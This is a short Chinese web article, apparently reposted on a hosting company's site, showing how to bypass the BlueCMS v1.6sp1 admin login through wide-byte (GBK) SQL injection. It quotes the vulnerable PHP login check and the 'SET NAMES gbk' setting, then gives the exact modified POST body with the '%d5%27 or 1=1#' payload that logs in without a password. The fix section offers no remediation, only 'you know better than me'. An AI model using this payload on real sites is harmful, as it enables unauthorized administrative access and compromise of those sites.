鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 网站安全 > 安全设置 > >

bluecms最新版本双字节万能密码进后台

来源:互联网 作者:佚名 时间:2015-10-19 08:34
bluecms最新版本即v1.6sp1,处理登录验证时对变量进行单引号转义,但可以用gbk 双字节编码闭合单引号再注释从而进入后台 bluecms验证登录代码如下 function check_admin($name, $pwd){global $db;$row = $db-getone(SELECT COUNT(*) AS num FROM .table(admin)
bluecms最新版本即v1.6sp1,处理登录验证时对变量进行单引号转义,但可以用gbk 双字节编码闭合单引号再注释从而进入后台
 
bluecms验证登录代码如下
 
 
function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
  if($row['num'] > 0)
  {
  return true;
  }
  else
  {
  return false;
  }
}

 

 
 
 
且变量进入check_admin函数前已被转义一次,无论MAGIC魔术棒是否开启
 
 
if(!get_magic_quotes_gpc())
 {
  $_POST = deep_addslashes($_POST);
  $_GET = deep_addslashes($_GET);
  $_COOKIES = deep_addslashes($_COOKIES);

 

 
 
但问题出在这句上
 
 
if($this->dbversion() > '4.1'){
     mysql_query( "SET NAMES gbk");
     if($this->dbversion() > '5.0.1'){
     mysql_query("SET sql_mode = ''",$this->linkid);
     }

 

 
 
 
邪恶地笑了
 
 
 
打开后台登录,并准备抓包
 
用户名和密码随便输 比如jianren jianren
 
抓到的post变量为 admin_name=jianren&admin_pwd=jianren&submit=%B5%C7%C2%BC&act=do_login
 
 
 
修改为admin_name=jianren%d5%27%20or%201%3d1%23&admin_pwd=jianren&submit=%B5%C7%C2%BC&act=do_login 

然后重放 芝麻开门
 
 
.jpg
 
修复方案:

你们比我懂 
 
网友评论
<